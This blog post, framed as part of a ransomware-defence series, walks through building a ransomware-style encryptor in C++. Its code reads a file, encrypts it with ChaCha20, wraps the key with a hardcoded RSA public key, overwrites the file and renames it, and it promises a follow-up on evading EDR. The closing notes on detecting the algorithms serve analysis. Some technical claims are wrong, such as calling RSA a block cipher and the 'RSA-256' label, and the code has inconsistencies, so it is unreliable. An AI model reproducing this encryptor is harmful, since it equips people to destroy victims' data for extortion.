Writing a Simple Encryptor
Introduction
This blog will be part of a series dedicated to ransomware protection, detection, and recovery. Here, we will explore how to create a simple file encryptor and decryptor from scratch. Encryption is the foundation of every ransomware sample. So, how difficult is it to make one?
Environment
Things you will need: Windows 11 (23H2), Visual Studio 2022 Community version, and the latest version of CryptoPP. The complete code could be found here.
Choosing the Encryption Method
Our simple encryptor will use the common ransomware approach of combining symmetric and asymmetric encryption. The private asymmetric key never leaves the attacker's side, and the public key bytes are hardcoded in the encryptor. The symmetric key is used to encrypt the file content and afterwards, it is encrypted with the public asymmetric key. Therefore, if we don't have a file backup or did not intercept the symmetric key bytes before they got encrypted, we have effectively lost the data. We will use ChaCha20 and RSA-256 following the BlackBasta approach. However, any combination of symmetric and asymmetric encryption algorithms will work as long as it is properly implemented.
Implementation
The CryptoPP library is used to generate an RSA-256 public and private key pair. A good example of how to do this can be found here. Once you have the key files on disk, we need to store its bytes inside our encryptor and decryptor, respectively. One way to get these bytes is with the help of HxD and CyberChef.
Once you have the public key bytes stored inside your encryptor, you need to load this key before you can encrypt or decrypt data with it.
After you have the public RSA key ready to go, you need to read in the target file content. This could be done with fopen
, fread
, or you can use the standard Win32 APIs like CreateFile
and ReadFile
. I went with the last option for this example. However, the first option is much easier to implement and manage.
hFile = CreateFileW(TargetFile.data(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == 0) {
CloseHandle(hFile);
return FALSE;
}
FileContent.resize(dwFileSize);
if (!ReadFileEx(hFile, FileContent.data(), dwFileSize, &ol, FileIOCompletionRoutine)) {
return FALSE;
}
Once you have the file content, you need to generate the ChaCha20 symmetric key to encrypt it. There are many examples on how to do this.
// Prepare ChaCha20 for encryption
// Set the key and iv lenght
CryptoPP::AutoSeededRandomPool prng;
CryptoPP::SecByteBlock key(32), iv(8);
// Key and iv bytes are randomly generated per target file
prng.GenerateBlock(key, key.size());
prng.GenerateBlock(iv, iv.size());
CryptoPP::ChaCha::Encryption enc;
enc.SetKeyWithIV(key, key.size(), iv, iv.size());
// Encrypt file content
enc.ProcessData(fileContent.data(), fileContent.data(), fileContent.size());
Once the file content is encrypted, you need to encrypt the symmetric key with the RSA-256 public key and append it to the end of encrypted file content so that the data can be recovered later by the decryptor.
// Encrypt ChaCha20 key and nonce
RSAEncryptData(KeyNonce, PublicKey, KeyNonceEncrypted);
// Append the symmetric key to the end of encrypted file content
fileContent.insert(fileContent.end(), KeyNonceEncrypted.begin(), KeyNonceEncrypted.end());
Now all you need to do it overwrite the file content with the encrypted data and give it a new file extension to indicate that it was "updated".
hFile = CreateFileW(TargetFile.data(), GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
if (!WriteFile(hFile, FileContent.data(), FileContent.size(), &dwBytesWritten, NULL)) {
return FALSE;
}
CloseHandle(hFile);
MoveFileW(TargetFile.data(), TargetFileEncrypted.data())
And that is it. The encryptor is ready to use. Of course, there are many more things that you need on top of that, like volume, directory and file enumeration, existing file backup removal, deciding how to deal with large files, and so on. But as far as creating a simple file encryptor and decryptor, as you can see, it is frighteningly easy.
Testing
To test that our encryptor and decryptor work as expected, we will use a NULL byte file. Forcing the ransomware sample to encrypt the NULL byte file is a common ransomware analysis technique. The first time I heard about it was by watching Michael Gillespie videos. Great content if you want to get into ransomware sample analysis and have no idea where to start.
The file could be created with HxD or any hex editor for that matter. Let's see what we get after encryption and before.
The original file contained 256 null bytes. As expected, the encrypted version has an additional 256 bytes of data that contain encrypted symmetric key.
And as you can see, the decryptor works fine since we get back our 256 null bytes on the right.
Encryption Algorithm Identification
A couple of notes on encryption algorithm identification that were researched and noticed along the way.
RSA-256 is a block cipher - it will encrypted data in 256-byte blocks. Great tool that can help you guess what kind of encryption is used is Sysinternals Procmon. You can filter the data by Operation = WriteFile and then check how many bytes were written back into a file per operation. Sample writing 256 bytes once at the end of the file might be a good indication that RSA-256 is used. Or something close to 256 bytes, since many malware samples will append things like the encrypted file size on top of encrypted symmetric key.
ChaCha20 could be identified by the presence of the strings like expand 32-byte k
or expand 16-byte k
, hardcoded constant value, or harcoded quarter-round values. CryptoPP's version encrypts data in 64 byte blocks, so Procmon can help here. This blog is a great starting point on encryption algorithm identification if you are interested.
What's next?
In the next blog, we will take a look into how this "encryptor" could be executed on the host, since running it as it is will probably be blocked by EDR. After that, we will explore a specific approach to detect and prevent encryptor execution that involves a kernel driver =)